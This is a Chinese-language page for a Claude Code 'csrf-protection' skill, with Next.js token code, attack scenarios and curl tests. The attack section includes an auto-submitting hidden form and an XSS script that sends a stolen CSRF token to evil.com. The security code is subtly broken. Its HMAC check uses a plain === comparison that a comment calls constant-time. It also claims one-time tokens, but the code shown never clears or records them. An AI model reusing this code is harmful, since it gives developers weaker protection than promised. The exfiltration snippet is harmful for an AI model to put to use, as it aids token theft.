关于 csrf-protection
csrf-protection 是帮助开发者防范跨站请求伪造的技能,介绍如何保护 Web 应用中的状态变更请求。内容涵盖会话绑定的一次性 HMAC 令牌及 Next.js 处理器封装。
主要功能
- 01HMAC-SHA256 令牌签名
- 02会话绑定的一次性令牌
- 03withCsrf 处理器封装
- 04HTTP-only 与 SameSite Cookie
- 05令牌获取和请求示例
适用场景
- 01保护 POST、PUT 和 DELETE 路由
- 02为 Next.js API 添加 CSRF 检查
- 03测试缺失、无效或重复使用的令牌
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ harperaa/ secure-claude-skills --skill csrf-protection安装后在 Claude Code 中输入/csrf-protection确认已加载。
详细介绍
CSRF 防护——防止跨站请求伪造
什么是 CSRF 攻击
攻击场景
想象一下,你已登录银行应用。在另一个标签页中,你访问了一个恶意网站。该网站包含一段隐藏代码,会向你的银行提交表单:“向攻击者的账户转账 10,000 美元。”由于你已登录,浏览器会自动发送你的会话 Cookie,银行便会处理这笔转账。
这就是跨站请求伪造——诱骗浏览器发起你并未打算发出的请求。
现实中的 CSRF 攻击
路由器 DNS 劫持(2008 年): 多个家用路由器中的 CSRF 漏洞允许攻击者诱骗用户访问恶意网站,从而更改路由器的 DNS 设置。受害者虽然没有损失金钱,却连续数月被重定向到钓鱼网站。数百万台路由器受到影响。
YouTube 操作(2012 年): YouTube 存在 CSRF 漏洞,攻击者可以诱骗用户访问特制 URL,从而冒充其他用户执行操作(点赞、订阅等)。
CSRF 为何仍然常见
根据 OWASP 的数据,在35% 的受测 Web 应用中都发现了 CSRF 漏洞。为什么?
- 漏洞生效时毫无迹象(用户不知道自己发出了请求)
- 很容易忘记实现防护(没有明显的功能故障)
- 开发者常常只依赖身份验证,而不检查请求来源
我们的 CSRF 架构
实现特性
-
HMAC-SHA256 加密签名(行业标准)
- 提供令牌由我们的服务生成的加密证明
- 即使令牌被拦截,攻击者没有密钥也无法伪造令牌
-
与会话绑定的令牌
- 令牌不能跨不同用户会话使用
- 每位用户都会获得唯一的令牌
-
一次性令牌
- 验证后即清除令牌
- 可被利用的时间窗口只有几秒,而不是几小时
- 即使令牌被截获,在一次请求后也会失效
-
仅限 HTTP 的 Cookie
- JavaScript 无法访问令牌
- 可防止基于 XSS 的令牌窃取
-
SameSite=Strict
- 浏览器不会在跨源请求中发送 Cookie
- 提供额外一层防护
实现文件
lib/csrf.ts- 加密令牌生成lib/withCsrf.ts- 强制验证的中间件app/api/csrf/route.ts- 面向客户端的令牌端点
如何使用 CSRF 防护
步骤 1:包装处理程序
对于任何 POST/PUT/DELETE 端点:
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
async function handler(request: NextRequest) {
// Your business logic here
// Token automatically verified by withCsrf
return NextResponse.json({ success: true });
}
// Apply CSRF protection
export const POST = withCsrf(handler);
export const config = {
runtime: 'nodejs', // Required for crypto operations
};
步骤 2:客户端获取令牌
发起受保护的请求前,先获取 CSRF 令牌:
// Fetch CSRF token
const response = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await response.json();
// Use token in POST request
await fetch('/api/your-endpoint', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken // Include token in header
},
credentials: 'include', // Important: send cookies
body: JSON.stringify(data)
});
步骤 3:自动执行的操作
当 withCsrf() 包装处理程序时:
- 从
X-CSRF-Token请求头提取 CSRF 令牌 - 从请求中提取 CSRF Cookie
- 使用 HMAC 验证令牌是否与 Cookie 匹配
- 验证后清除令牌(一次性使用)
- 如果有效 → 调用你的处理程序
- 如果无效 → 返回 HTTP 403 Forbidden
完整示例:受保护的联系表单
// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';
async function contactHandler(request: NextRequest) {
try {
const body = await request.json();
// Validate input
const validation = validateRequest(contactFormSchema, body);
if (!validation.success) {
return validation.response;
}
const { name, email, subject, message } = validation.data;
// Process contact form
await sendEmail({
to: '[email protected]',
from: email,
subject,
message
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'contact-form');
}
}
// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));
export const config = {
runtime: 'nodejs',
};
前端集成示例
// components/ContactForm.tsx
'use client';
import { useState } from 'react';
export function ContactForm() {
const [formData, setFormData] = useState({
name: '',
email: '',
subject: '',
message: ''
});
async function handleSubmit(e: React.FormEvent) {
e.preventDefault();
try {
// 1. Fetch CSRF token
const csrfRes = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await csrfRes.json();
// 2. Submit form with token
const response = await fetch('/api/contact', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
credentials: 'include',
body: JSON.stringify(formData)
});
if (response.ok) {
alert('Message sent successfully!');
setFormData({ name: '', email: '', subject: '', message: '' });
} else if (response.status === 403) {
alert('Security validation failed. Please refresh and try again.');
} else if (response.status === 429) {
alert('Too many requests. Please wait a moment.');
} else {
alert('Failed to send message. Please try again.');
}
} catch (error) {
console.error('Error:', error);
alert('An error occurred. Please try again.');
}
}
return (
<form onSubmit={handleSubmit}>
<input
type="text"
placeholder="Name"
value={formData.name}
onChange={(e) => setFormData({ ...formData, name: e.target.value })}
required
/>
<input
type="email"
placeholder="Email"
value={formData.email}
onChange={(e) => setFormData({ ...formData, email: e.target.value })}
required
/>
<input
type="text"
placeholder="Subject"
value={formData.subject}
onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
required
/>
<textarea
placeholder="Message"
value={formData.message}
onChange={(e) => setFormData({ ...formData, message: e.target.value })}
required
/>
<button type="submit">Send Message</button>
</form>
);
}
攻击场景与防护
攻击 1:恶意网站提交表单
攻击:
<form action="https://yourapp.com/api/delete-account" method="POST">
<input type="hidden" name="confirm" value="yes" />
</form>
<script>
document.forms[0].submit(); // Auto-submit
</script>
防护:
- 请求中没有 CSRF 令牌 → withCsrf() 返回 403
- 用户账户安全
攻击 2:XSS 尝试读取令牌
攻击:
// Attacker injects script via XSS
fetch('/api/csrf')
.then(r => r.json())
.then(data => {
// Send token to attacker
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token: data.csrfToken })
});
});
防护:
- 令牌只能使用一次
- 即使被窃取,也会在一次请求后过期
- HTTPOnly Cookie 可防止 Cookie 被窃取
- SameSite=Strict 可防止跨源发送 Cookie
攻击 3:中间人拦截令牌
攻击: 攻击者拦截网络流量并获取 CSRF 令牌。
防护:
- 一次性令牌在使用一次后即失效
- 生产环境要求使用 HTTPS(由 HSTS 强制执行)
- 可被利用的时间窗口很短(几秒)
技术实现细节
令牌生成(lib/csrf.ts)
import { createHmac, randomBytes } from 'crypto';
export function generateCsrfToken(sessionId: string): string {
const secret = process.env.CSRF_SECRET;
if (!secret) {
throw new Error('CSRF_SECRET not configured');
}
// Generate random token
const token = randomBytes(32).toString('base64url');
// Create HMAC signature
const hmac = createHmac('sha256', secret)
.update(`${token}:${sessionId}`)
.digest('base64url');
// Return token:hmac
return `${token}.${hmac}`;
}
export function verifyCsrfToken(
token: string,
sessionId: string
): boolean {
const secret = process.env.CSRF_SECRET;
if (!secret || !token) return false;
const [tokenPart, hmacPart] = token.split('.');
if (!tokenPart || !hmacPart) return false;
// Recreate HMAC
const expectedHmac = createHmac('sha256', secret)
.update(`${tokenPart}:${sessionId}`)
.digest('base64url');
// Constant-time comparison to prevent timing attacks
return hmacPart === expectedHmac;
}
中间件包装器(lib/withCsrf.ts)
import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';
export function withCsrf(
handler: (request: NextRequest) => Promise<NextResponse>
) {
return async (request: NextRequest) => {
// Get token from header
const token = request.headers.get('X-CSRF-Token');
// Get session ID from cookie (simplified)
const sessionId = request.cookies.get('sessionId')?.value;
if (!token || !sessionId) {
return NextResponse.json(
{ error: 'CSRF token missing' },
{ status: 403 }
);
}
// Verify token
if (!verifyCsrfToken(token, sessionId)) {
return NextResponse.json(
{ error: 'CSRF token invalid' },
{ status: 403 }
);
}
// Token valid - call handler
return handler(request);
};
}
CSRF 防护可防止的问题
✅ 跨站请求伪造 - 主要防护 ✅ 会话固定攻击 - 令牌与会话绑定 ✅ 跨源表单提交 - SameSite=Strict ✅ 隐藏 iframe 攻击 - 必须验证令牌 ✅ 一键式攻击 - 获取令牌的步骤可防止此类攻击
应避免的常见错误
❌ 不要跳过 POST/PUT/DELETE 请求的 CSRF 防护
// BAD - No CSRF protection
export async function POST(request: NextRequest) {
// Vulnerable!
}
❌ 不要将 CSRF 令牌放在 URL 参数中
// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)
❌ 不要重复使用令牌
// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid
❌ 不要忘记 credentials: 'include'
// BAD - Cookies won't be sent
fetch('/api/endpoint', {
headers: { 'X-CSRF-Token': token }
// Missing: credentials: 'include'
});
✅ 对每项敏感操作都获取新令牌 ✅ 使用 X-CSRF-Token 请求头(不要放在 URL 中) ✅ 为所有会改变状态的操作启用防护 ✅ 结合速率限制以实现最大程度的防护
测试 CSRF 防护
测试 1:有效请求
# Get CSRF token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
-c cookies.txt | jq -r '.csrfToken')
# Use token
curl -X POST http://localhost:3000/api/example-protected \
-b cookies.txt \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: $TOKEN" \
-d '{"title": "test"}'
# Expected: 200 OK
测试 2:缺少令牌
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-d '{"title": "test"}'
# Expected: 403 Forbidden - CSRF token missing
测试 3:无效令牌
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: fake-token-12345" \
-d '{"title": "test"}'
# Expected: 403 Forbidden - CSRF token invalid
测试 4:重复使用令牌(应失败)
# Get token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
-c cookies.txt | jq -r '.csrfToken')
# Use once (succeeds)
curl -X POST http://localhost:3000/api/example-protected \
-b cookies.txt \
-H "X-CSRF-Token: $TOKEN" \
-d '{"title": "test"}'
# Try to reuse same token (should fail)
curl -X POST http://localhost:3000/api/example-protected \
-b cookies.txt \
-H "X-CSRF-Token: $TOKEN" \
-d '{"title": "test2"}'
# Expected: 403 Forbidden - Token already used
安全 Cookie 配置
Cookie 安全设置
对于应用中的任何自定义 Cookie,始终使用以下安全设置:
response.cookies.set('cookie-name', value, {
httpOnly: true, // Prevent XSS access
sameSite: 'strict', // CSRF protection
secure: process.env.NODE_ENV === 'production', // HTTPS only in prod
maxAge: 3600, // Expiration (1 hour)
path: '/', // Cookie scope
});
安全属性说明:
httpOnly: true- JavaScript 无法通过document.cookie访问 Cookie,防止因 XSS 导致 Cookie 被窃取sameSite: 'strict'- 浏览器不会在跨源请求中发送 Cookie,从而阻止 CSRFsecure: true- Cookie 仅通过 HTTPS 发送(防止中间人拦截)maxAge- Cookie 的过期时间,单位为秒(时间越短,安全性越高)path: '/'- Cookie 的有效路径(尽可能限制范围)
应避免的常见 Cookie 错误
❌ 绝不要这样做:
// BAD - Missing security flags
response.cookies.set('session', sessionId);
// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });
// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });
// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });
✅ 始终这样做:
// GOOD - All security flags
response.cookies.set('session', sessionId, {
httpOnly: true,
sameSite: 'strict',
secure: process.env.NODE_ENV === 'production',
maxAge: 3600, // 1 hour
path: '/'
});
环境配置
必需的环境变量
# .env.local
CSRF_SECRET=<32-byte-base64url-string>
SESSION_SECRET=<32-byte-base64url-string>
生成密钥
# Generate CSRF_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"
# Generate SESSION_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"
⚠️ 重要提示:
- 切勿将密钥提交到版本控制系统
- 为开发、预发布和生产环境使用不同的密钥
- 定期轮换密钥(建议每季度一次)
参考资料
- OWASP CSRF 防护速查表:https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- OWASP Top 10 2021 - A01 失效的访问控制:https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- MDN SameSite Cookie:https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
后续步骤
- 进行速率限制防护:使用
rate-limitingskill - 进行输入验证:使用
input-validationskill - 实现完整的 API 安全防护:结合 CSRF、速率限制和验证
- 进行测试:使用
security-testingskill